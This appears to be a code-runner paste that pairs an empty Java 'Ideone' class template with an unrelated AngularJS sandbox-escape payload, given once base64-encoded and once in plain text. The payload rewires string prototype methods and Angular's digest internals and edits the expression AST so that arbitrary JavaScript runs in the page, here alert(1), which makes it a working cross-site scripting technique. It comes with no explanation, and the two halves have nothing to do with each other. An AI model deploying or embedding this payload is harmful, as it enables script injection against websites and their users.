/* package whatever; // don't place package name! */
 
import java.util.*;
import java.lang.*;
import java.io.*;
 
/* Name of the class has to be "Main" only if the class is public. */
class Ideone
{
	public static void main (String[] args) throws java.lang.Exception
	{
		// your code goes here
	}
}

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e3sKICAgIGM9Jycuc3ViLmNhbGw7Yj0nJy5zdWIuYmluZDthPScnLnN1Yi5hcHBseTsKICAgIGMuJGFwcGx5PSRhcHBseTtjLiRldmFsPWI7b3A9JHJvb3QuJCRwaGFzZTsKICAgICRyb290LiQkcGhhc2U9bnVsbDtvZD0kcm9vdC4kZGlnZXN0OyRyb290LiRkaWdlc3Q9KHt9KS50b1N0cmluZzsKICAgIEM9Yy4kYXBwbHkoYyk7JHJvb3QuJCRwaGFzZT1vcDskcm9vdC4kZGlnZXN0PW9kOwogICAgQj1DKGIsYyxiKTskZXZhbEFzeW5jKCZxdW90OwogICAgYXN0Tm9kZT1wb3AoKTthc3ROb2RlLnR5cGU9J1VuYXJ5RXhwcmVzc2lvbic7CiAgICBhc3ROb2RlLm9wZXJhdG9yPScod2luZG93Llg/dm9pZDA6KHdpbmRvdy5YPXRydWUsYWxlcnQoMSkpKSsnOwogICAgYXN0Tm9kZS5hcmd1bWVudD17dHlwZTonSWRlbnRpZmllcicsbmFtZTonMXZfMWdofTsKICAgICZxdW90Oyk7CiAgICBtMT1CKCQkYXN5bmNRdWV1ZS5wb3AoKS5leHByZXNzaW9uLG51bGwsJHJvb3QpOwogICAgbTI9QihDLG51bGwsbTEpO1tdLnB1c2guYXBwbHk9bTI7YT0nJy5zdWI7CiAgICAkZXZhbCgnYShiLmMpJyk7W10ucHVzaC5hcHBseT1hOwp9fQ==

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'1v_1gh};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}